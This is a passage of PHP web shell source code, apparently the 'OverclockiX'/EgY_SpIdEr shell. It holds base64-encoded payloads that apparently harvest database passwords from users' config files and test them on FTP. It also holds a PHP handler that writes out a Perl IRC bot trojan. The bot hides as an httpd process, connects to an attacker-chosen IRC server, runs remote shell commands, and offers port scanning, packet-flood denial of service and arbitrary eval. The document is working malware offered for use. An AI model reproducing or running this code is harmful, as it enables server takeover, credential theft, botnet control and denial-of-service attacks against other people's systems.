lzaGluZyB5b3VyIGluZGV4PC90ZD48L3RyPjwvdGFibGU+DQo8Pw0KfQ0KPz4NCjxociBjb2xvcj0iIzAwRkYwMCIgLz4NCjx0YWJsZSBib3JkZXI9IjEiIGJnY29sb3I9IiMwMDAwMDAiIGJvcmRlcmNvbG9yPSJsaW1lIg0KYm9yZGVyY29sb3JkYXJrPSJsaW1lIiBib3JkZXJjb2xvcmxpZ2h0PSJsaW1lIj48dHI+PHRkPjxhIGhyZWY9Ij8iPk1haW4gU2hlbGw8L2E+PC90ZD48dGQ+PGEgaHJlZj0iP2FjdD11c2VycyI+TGlzdCBVc2VyczwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWluZGV4Ij5JbmRleCBNYWtlcjwvYT48L3RkPjx0ZD48YSBocmVmPSI/YWN0PWNvbmZpZyI+UmVhZENvbmZpZzwvYT48L3RkPjwvdHI+PC90YWJsZT4NCjxwIGFsaWduPSJjZW50ZXIiPnd3dy5lZ3lzcGlkZXIuZXU8L3A+DQo8RElWIGlkPSJuIiBhbGlnbj0iY2VudGVyIj4NCiAgPFRBQkxFIGJvcmRlckNvbG9yPSIjMTExMTExIiBjZWxsU3BhY2luZz0iMCIgY2VsbFBhZGRpbmc9IjAiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiPg0KICAgIDxUQk9EWT4NCiAgICAgIDxUUj4NCiAgICAgICAgPFREIHdpZHRoPSIxMDAlIj48cCBhbGlnbj0iY2VudGVyIj48U1RST05HPm8tLS1bIEVnWV9TcElkRXIgfCB8IDxBIGVneV9zcGlkZXJAaG90bWFpbC5jb20+ZWd5X3NwaWRlckBob3RtYWlsLmNvbTwvQT4gICBdLS0tbzwvU1RST05HPjwvcD48L1REPg0KICAgICAgPC9UUj4NCiAgICA8L1RCT0RZPg0KICA8L1RBQkxFPg0KPC9ESVY+DQo8L2NlbnRlcj4gDQogPC9ib2R5Pg0KPC9odG1sPg=";
3273
3274$egy_cp="PD9waHAgDQplY2hvICI8aHRtbD4iOyANCmVjaG8gIjx0aXRsZT5FZ1lfU3BJZEVyIFNoRWxMIDwvdGl0bGU+PFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICM2NjY2NjY7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjNzI2NDU2OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3MjY0NTY7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogIzI5MjkyOTsgRk9OVC1GQU1JTFk6IFZlcmRhbmE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjNzI2NDU2DQp9DQoNCi50ZDEgew0KQk9SREVSOiAxOw0KZm9udDogN3B0IHRhaG9tYTsNCmNvbG9yOiAjZmZmZmZmOw0KfQ0KDQoudHIxIHsNCkJPUkRFUjogMTsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgI2VlZWVlZSAgb3V0c2V0Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmNvbG9yOiAjMzMzMzMzOw0KfQ0KdGV4dGFyZWEgew0KQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxIHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzk5OTk5OSAxIHNvbGlkOw0KQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxIHNvbGlkOw0KQkFDS0dST1VORC1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2ZmZmZmZjsNCn0NCkJPRFkgew0KbWFyZ2luOiAxOw0KY29sb3I6ICMzMzMzMzM7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KQTpsaW5rIHtDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0NCkE6dmlzaXRlZCB7IENPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQ0KQTpob3ZlciB7Y29sb3I6Ymx1ZTtURVhULURFQ09SQVRJT046IG5vbmV9DQoNCjwvU1RZTEU+PGJvZHk+IjsgDQoNCnNldF90aW1lX2xpbWl0KDApOyANCiMjIyMjIyMjIyMjIyMjIyMjIyANCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsgDQppZiAoISRwYXNzd2QpIHsgDQogIGVjaG8gIlstXSBFcnJvciA6IGNvdWRuJ3QgcmVhZCAvZXRjL3Bhc3N3ZCI7IA0KICBleGl0OyANCn0gDQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsgDQokdXNlcnM9YXJyYXkoKTsgDQokcGF0aHRvY29uZj1hcnJheSgpOyANCiRpPTA7IA0KDQp3aGlsZSghZmVvZigkcGFzc3dkKSkgeyANCiRzdHI9ZmdldHMoJHBhc3N3ZCk7IA0KaWYgKCRpPjM1KSB7IA0KICAgJHBvcz1zdHJwb3MoJHN0ciwiOiIpOyANCiAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOyANCiAgICRkaXJ6PSIvaG9tZS8kdXNlcm5hbWUvcHVibGljX2h0bWwvIjsgDQogICBpZiAoKCR1c2VybmFtZSE9IiIpKSB7IA0KICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsgDQogICAgICAgICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7IA0KICAgICAgICAgICBhcnJheV9wdXNoKCRwYXRoX3RvX3B1YmxpYywkZGlyeik7IA0KICAgICAgIH0gDQogICB9IA0KfSANCiRpKys7IA0KfSANCiMjIyMjIyMjIyMjIyMjIyMjIyMgDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgDQplY2hvICI8YnI+PGJyPiI7IA0KZWNobyAiPHRleHRhcmVhIG5hbWU9J21haW5fd2luZG93JyBjb2xzPTEwMCByb3dzPTIwPiI7IA0KDQplY2hvICJbK10gRm91bmRlZCAiLnNpemVvZigkdXNlcnMpLiIgZW50cnlzIGluIC9ldGMvcGFzc3dkXG4iOyANCmVjaG8gIlsrXSBGb3VuZGVkICIuc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykuIiByZWFkYWJsZSBwdWJsaWNfaHRtbCBkaXJlY3Rvcmllc1xuIjsgDQoNCmVjaG8gIlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcuKiBmaWxlcy4uLlxuXG4iOyANCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikgeyANCiAgICAgICAkcGF0aD0iL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvIjsgDQogICAgICAgcmVhZF9kaXIoJHBhdGgsJHVzZXIpOyANCn0gDQoNCmVjaG8gIlxuWytdIERvbmVcbiI7IA0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCwkdXNlcm5hbWUpIHsgDQogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7IA0KICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgDQogICAgICAgICAgICAgJGZwYXRoPSIkcGF0aCRmaWxlIjsgDQogICAgICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGZwYXRoKSkgeyANCiAgICAgICAgICAgICAgICAgICAkZHI9IiRmcGF0aC8iOyANCiAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkcikpIHsgDQogICAgICAgICAgICAgICAgICAgICAgcmVhZF9kaXIoJGRyLCR1c2VybmFtZSk7IA0KICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCgkZmlsZT09J2NvbmZpZy5waHAnKSBvciAoJGZpbGU9PSdjb25maWcuaW5jLnBocCcpIG9yICgkZmlsZT09J2RiLmluYy5waHAnKSBvciAoJGZpbGU9PSdjb25uZWN0LnBocCcpIG9yICgkZmlsZT09J3dwLWNvbmZpZy5waHAnKSBvciAoJGZpbGU9PSd2YXIucGhwJykgb3IgKCRmaWxlPT0nY29uZmlndXJlLnBocCcpIG9yICgkZmlsZT09J2RiLnBocCcpIG9yICgkZmlsZT09J2RiX2Nvbm5lY3QucGhwJykpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFzcz1nZXRfcGFzcygkZnBhdGgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFzcyE9JycpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbK10gJGZwYXRoXG4kcGFzc1xuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdHBfY2hlY2soJHVzZXJuYW1lLCRwYXNzKTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgfSANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGdldF9wYXNzKCRsaW5rKSB7IA0KICAgQCRjb25maWc9Zm9wZW4oJGxpbmssJ3InKTsgDQogICB3aGlsZSghZmVvZigkY29uZmlnKSkgeyANCiAgICAgICAkbGluZT1mZ2V0cygkY29uZmlnKTsgDQogICAgICAgaWYgKHN0cnN0cigkbGluZSwncGFzcycpIG9yIHN0cnN0cigkbGluZSwncGFzc3dvcmQnKSBvciBzdHJzdHIoJGxpbmUsJ3Bhc3N3ZCcpKSB7IA0KICAgICAgICAgICBpZiAoc3RycnBvcygkbGluZSwnIicpKSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwnIicpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgJHBhc3M9c3Vic3RyKCRsaW5lLChzdHJwb3MoJGxpbmUsJz0nKSszKSwoc3RycnBvcygkbGluZSwiJyIpLShzdHJwb3MoJGxpbmUsJz0nKSszKSkpOyANCiAgICAgICAgICAgcmV0dXJuICRwYXNzOyANCiAgICAgICB9IA0KICAgfSANCn0gDQoNCmZ1bmN0aW9uIGZ0cF9jaGVjaygkbG9naW4sJHBhc3MpIHsgDQogICAgQCRmdHA9ZnRwX2Nvbm5lY3QoJzEyNy4wLjAuMScpOyANCiAgICBpZiAoJGZ0cCkgeyANCiAgICAgICBAJHJlcz1mdHBfbG9naW4oJGZ0cCwkbG9naW4sJHBhc3MpOyANCiAgICAgICBpZiAoJHJlcykgeyANCiAgICAgICAgICBlY2hvICdbRlRQXSAnLiRsb2dpbi4nOicuJHBhc3MuIiAgU3VjY2Vzc1xuIjsgDQogICAgICAgfSANCiAgICAgICBlbHNlIGZ0cF9xdWl0KCRmdHApOyANCiAgICB9IA0KfSANCg0KZWNobyAiPC90ZXh0YXJlYT48YnI+IjsgDQoNCmVjaG8gIjwvYm9keT48L2h0bWw+IjsgDQo/Pg=";
3275
3276
3277if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
3278{
3279$ircadmin=$_POST['ircadmin'];
3280$ircserver=$_POST['ircserver'];
3281$ircchan=$_POST['ircchanal'];
3282$irclabel=$_POST['ircname'];
3283echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
3284echo "<body bgcolor=\"black\" text=\"green\">";
3285echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
3286echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
3287#######################################################
3288######################IRC Trojan##########################
3289$file="
3290################ CONFIGURACAO #################################################################
3291my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
3292#----------------------------------------------################################################
3293my \$linas_max='48'; # Evita o flood :) depois de X linhas #
3294#----------------------------------------------################################################
3295my \$sleep='4'; # ele dorme X segundos #
3296##################### IRC #####################################################################
3297my @adms=(\"$ircadmin\"); # Nick do administrador #
3298#----------------------------------------------################################################
3299my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
3300#----------------------------------------------################################################
3301my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
3302 # aparecer com numero radonamico no final #
3303#----------------------------------------------################################################
3304my \$ircname = 'Linux'; # User ID #
3305#----------------------------------------------################################################
3306chop (my \$realname = `uname -a`); # Full Name #
3307#----------------------------------------------################################################
3308\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
3309 # caso n?o seja especificado no argumento #
3310#----------------------------------------------################################################
3311my \$porta='6667'; # Porta do servidor de irc #
3312################ ACESSO A SHELL ###############################################################
3313my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
3314###############################################################################################
3315my \$VERSAO = '0.2';
3316\$SIG{'INT'} = 'IGNORE';
3317\$SIG{'HUP'} = 'IGNORE';
3318\$SIG{'TERM'} = 'IGNORE';
3319\$SIG{'CHLD'} = 'IGNORE';
3320\$SIG{'PS'} = 'IGNORE';
3321\$SIG{'STOP'} = 'IGNORE';
3322use IO::Socket;
3323use Socket;
3324use IO::Select;
3325chdir(\"/\");
3326\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
3327$0=\"\$processo\".\"\0\"x16;;
3328my \$pid=fork;
3329exit if \$pid;
3330die \"Problema com o fork: $!\" unless defined(\$pid);
3331my \$dcc_sel = new IO::Select->new();
3332#############################
3333# B0tchZ na veia ehehe :P #
3334#############################
3335
3336\$sel_cliente = IO::Select->new();
3337sub sendraw {
3338 if ($#_ == '1') {
3339 my \$socket = \$_[0];
3340 print \$socket \"\$_[1]\\n\";
3341 } else {
3342 print \$IRC_cur_socket \"\$_[0]\\n\";
3343 }
3344}
3345#################################
3346sub conectar {
3347 my \$meunick = \$_[0];
3348 my \$servidor_con = \$_[1];
3349 my \$porta_con = \$_[2];
3350
3351 my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
3352 if (defined(\$IRC_socket)) {
3353 \$IRC_cur_socket = \$IRC_socket;
3354
3355 \$IRC_socket->autoflush(1);
3356 \$sel_cliente->add(\$IRC_socket);
3357
3358 \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
3359 \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
3360 \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
3361 \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
3362 nick(\"\$meunick\");
3363 sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
3364 sleep 1;
3365 }
3366} #####################
3367
3368my \$line_temp;
3369while( 1 ) {
3370 while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
3371 delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
3372 &DCC::connections;
3373 my @ready = \$sel_cliente->can_read(0);
3374 next unless(@ready);
3375 foreach \$fh (@ready) {
3376 \$IRC_cur_socket = \$fh;
3377 \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
3378 \$nread = sysread(\$fh, \$msg, 4096);
3379 if (\$nread == 0) {
3380 \$sel_cliente->remove(\$fh);
3381 \$fh->close;
3382 delete(\$irc_servers{\$fh});
3383 }
3384 @lines = split (/\\n/, \$msg);
3385
3386 for(my \$c=0; \$c<= $#lines; \$c++) {
3387 \$line = \$lines[\$c];
3388 \$line=\$line_temp.\$line if (\$line_temp);
3389 \$line_temp='';
3390 \$line =~ s/\\r$//;
3391 unless (\$c == $#lines) {
3392 parse(\"\$line\");
3393 } else {
3394 if ($#lines == 0) {
3395 parse(\"\$line\");
3396 } elsif (\$lines[\$c] =~ /\\r$/) {
3397 parse(\"\$line\");
3398 } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
3399 parse(\"\$line\");
3400 } else {
3401 \$line_temp = \$line;
3402 }
3403 }
3404 }
3405 }
3406}
3407
3408#########################
3409
3410
3411sub parse {
3412 my \$servarg = shift;
3413 if (\$servarg =~ /^PING \:(.*)/) {
3414 sendraw(\"PONG :$1\");
3415 } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
3416 my \$pn=$1; my \$onde = $4; my \$args = $5;
3417 if (\$args =~ /^\\001VERSION\\001$/) {
3418 notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
3419 }
3420 if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
3421 if (\$onde eq \"\$meunick\"){
3422 shell(\"\$pn\", \"\$args\");
3423 }
3424 if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
3425 my \$natrix = $1;
3426 my \$arg = $2;
3427 if (\$arg =~ /^\!(.*)/) {
3428 ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
3429 } elsif (\$arg =~ /^\@(.*)/) {
3430 \$ondep = \$onde;
3431 \$ondep = \$pn if \$onde eq \$meunick;
3432 bfunc(\"\$ondep\",\"$1\");
3433 } else {
3434 shell(\"\$onde\", \"\$arg\");
3435 }
3436 }
3437 }
3438 } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
3439 if (lc($1) eq lc(\$meunick)) {
3440 \$meunick=$4;
3441 \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
3442 }
3443 } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
3444 nick(\"\$meunick\".int rand(9999));
3445 } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
3446 \$meunick = $2;
3447 \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
3448 \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
3449 foreach my \$canal (@canais) {
3450 sendraw(\"JOIN \$canal\");
3451 }
3452 }
3453}
3454##########################
3455
3456sub bfunc {
3457 my \$printl = \$_[0];
3458 my \$funcarg = \$_[1];
3459 if (my \$pid = fork) {
3460 waitpid(\$pid, 0);
3461 } else {
3462 if (fork) {
3463 exit;
3464 } else {
3465 if (\$funcarg =~ /^portscan (.*)/) {
3466 my \$hostip=\"$1\";
3467 my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
3468 my (@aberta, %porta_banner);
3469 foreach my \$porta (@portas) {
3470 my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
3471 if (\$scansock) {
3472 push (@aberta, \$porta);
3473 \$scansock->close;
3474 }
3475 }
3476
3477 if (@aberta) {
3478 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
3479 } else {
3480 sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
3481 }
3482 }
3483 if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
3484 my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
3485 \$dtime = 1 if \$dtime == 0;
3486 my %bytes;
3487 \$bytes{igmp} = $2 * \$pacotes{igmp};
3488 \$bytes{icmp} = $2 * \$pacotes{icmp};
3489 \$bytes{o} = $2 * \$pacotes{o};
3490 \$bytes{udp} = $2 * \$pacotes{udp};
3491 \$bytes{tcp} = $2 * \$pacotes{tcp};
3492
3493 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
3494 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
3495 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
3496 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
3497 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Media de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");
3498
3499 }
3500 exit;
3501 }
3502 }
3503}
3504##########################
3505
3506
3507sub ircase {
3508 my (\$kem, \$printl, \$case) = @_;
3509
3510
3511 if (\$case =~ /^join (.*)/) {
3512 j(\"$1\");
3513 }
3514 if (\$case =~ /^part (.*)/) {
3515 p(\"$1\");
3516 }
3517 if (\$case =~ /^rejoin\s+(.*)/) {
3518 my \$chan = $1;
3519 if (\$chan =~ /^(\d+) (.*)/) {
3520 for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
3521 p(\"$2\");
3522 j(\"$2\");
3523 }
3524 } else {
3525 p(\"\$chan\");
3526 j(\"\$chan\");
3527 }
3528 }
3529 if (\$case =~ /^op/) {
3530 op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
3531 my \$oarg = substr(\$case, 3);
3532 op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3533 }
3534 if (\$case =~ /^deop/) {
3535 deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
3536 my \$oarg = substr(\$case, 5);
3537 deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3538 }
3539 if (\$case =~ /^voice/) {
3540 voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
3541 \$oarg = substr(\$case, 6);
3542 voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3543 }
3544 if (\$case =~ /^devoice/) {
3545 devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
3546 \$oarg = substr(\$case, 8);
3547 devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
3548 }
3549 if (\$case =~ /^msg\s+(\S+) (.*)/) {
3550 msg(\"$1\", \"$2\");
3551 }
3552 if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
3553 for (my \$cf = 1; \$cf <= $1; \$cf++) {
3554 msg(\"$2\", \"$3\");
3555 }
3556 }
3557 if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
3558 ctcp(\"$1\", \"$2\");
3559 }
3560 if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
3561 for (my \$cf = 1; \$cf <= $1; \$cf++) {
3562 ctcp(\"$2\", \"$3\");
3563 }
3564 }
3565 if (\$case =~ /^invite\s+(\S+) (.*)/) {
3566 invite(\"$1\", \"$2\");
3567 }
3568 if (\$case =~ /^nick (.*)/) {
3569 nick(\"$1\");
3570 }
3571 if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
3572 conectar(\"$2\", \"$1\", 6667);
3573 }
3574 if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
3575 DCC::SEND(\"$1\", \"$2\");
3576 }
3577 if (\$case =~ /^raw (.*)/) {
3578 sendraw(\"$1\");
3579 }
3580 if (\$case =~ /^eval (.*)/) {
3581 eval \"$1\";
3582 }
3583}
3584##########################
3585
3586sub shell {
3587 return unless \$secv;
3588 my \$printl=\$_[0];
3589 my \$comando=\$_[1];
3590 if (\$comando =~ /cd (.*)/) {
3591 chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
3592 return;
3593 }
3594 elsif (\$pid = fork) {
3595 waitpid(\$pid, 0);
3596 } else {
3597 if (fork) {
3598 exit;
3599 } else {
3600 my @resp=`\$comando 2>&1 3>&1`;
3601 my \$c=0;
3602 foreach my \$linha (@resp) {
3603 \$c++;
3604 chop \$linha;
3605 sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
3606 if (\$c == \"\$linas_max\") {
3607 \$c=0;
3608 sleep \$sleep;
3609 }
3610 }
3611 exit;
3612 }
3613 }
3614}
3615
3616#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
3617sub attacker {
3618 my \$iaddr = inet_aton(\$_[0]);
3619 my \$msg = 'B' x \$_[1];
3620 my \$ftime = \$_[2];
3621 my \$cp = 0;
3622 my (%pacotes);
3623 \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;
3624
3625 socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
3626 socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
3627 socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
3628 socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
3629 return(undef) if \$cp == 4;
3630 my \$itime = time;
3631 my (\$cur_time);
3632 while ( 1 ) {
3633 for (my \$porta = 1; \$porta <= 65535; \$porta++) {
3634 \$cur_time = time - \$itime;
3635 last if \$cur_time >= \$ftime;
3636 send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
3637 send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
3638 send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
3639 send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;
3640
3641 # DoS ?? :P
3642 for (my \$pc = 3; \$pc <= 255;\$pc++) {
3643 next if \$pc == 6;
3644 \$cur_time = time - \$itime;
3645 last if \$cur_time >= \$ftime;
3646 socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
3647 send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
3648 }
3649 }
3650 last if \$cur_time >= \$ftime;
3651 }
3652 return(\$cur_time, %pacotes);
3653}
3654
3655#############
3656# ALIASES #
3657#############
3658
3659sub action {
3660 return unless $#_ == 1;
3661 sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
3662}
3663
3664sub ctcp {
3665 return unless $#_ == 1;
3666 sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
3667}
3668sub msg {
3669 return unless $#_ == 1;
3670 sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
3671}
3672
3673sub notice {
3674 return unless $#_ == 1;
3675 sendraw(\"NOTICE \$_[0] :\$_[1]\");
3676}
3677
3678sub op {
3679 return unless $#_ == 1;
3680 sendraw(\"MODE \$_[0] +o \$_[1]\");
3681}
3682sub deop {
3683 return unless $#_ == 1;
3684 sendraw(\"MODE \$_[0] -o \$_[1]\");
3685}
3686sub hop {
3687 return unless $#_ == 1;
3688 sendraw(\"MODE \$_[0] +h \$_[1]\");
3689}
3690sub dehop {
3691 return unless $#_ == 1;
3692 sendraw(\"MODE \$_[0] +h \$_[1]\");
3693}
3694sub voice {
3695 return unless $#_ == 1;
3696 sendraw(\"MODE \$_[0] +v \$_[1]\");
3697}
3698sub devoice {
3699 return unless $#_ == 1;
3700 sendraw(\"MODE \$_[0] -v \$_[1]\");
3701}
3702sub ban {
3703 return unless $#_ == 1;
3704 sendraw(\"MODE \$_[0] +b \$_[1]\");
3705}
3706sub unban {
3707 return unless $#_ == 1;
3708 sendraw(\"MODE \$_[0] -b \$_[1]\");
3709}
3710sub kick {
3711 return unless $#_ == 1;
3712 sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
3713}
3714
3715sub modo {
3716 return unless $#_ == 0;
3717 sendraw(\"MODE \$_[0] \$_[1]\");
3718}
3719sub mode { modo(@_); }
3720
3721sub j { &join(@_); }
3722sub join {
3723 return unless $#_ == 0;
3724 sendraw(\"JOIN \$_[0]\");
3725}
3726sub p { part(@_); }
3727sub part {sendraw(\"PART \$_[0]\");}
3728
3729sub nick {
3730 return unless $#_ == 0;
3731 sendraw(\"NICK \$_[0]\");
3732}
3733
3734sub invite {
3735 return unless $#_ == 1;
3736 sendraw(\"INVITE \$_[1] \$_[0]\");
3737}
3738sub topico {
3739 return unless $#_ == 1;
3740 sendraw(\"TOPIC \$_[0] \$_[1]\");
3741}
3742sub topic { topico(@_); }
3743
3744sub whois {
3745 return unless $#_ == 0;
3746 sendraw(\"WHOIS \$_[0]\");
3747}
3748sub who {
3749 return unless $#_ == 0;
3750 sendraw(\"WHO \$_[0]\");
3751}
3752sub names {
3753 return unless $#_ == 0;
3754 sendraw(\"NAMES \$_[0]\");
3755}
3756sub away {
3757 sendraw(\"AWAY \$_[0]\");
3758}
3759sub back { away(); }
3760sub quit {
3761 sendraw(\"QUIT :\$_[0]\");
3762}
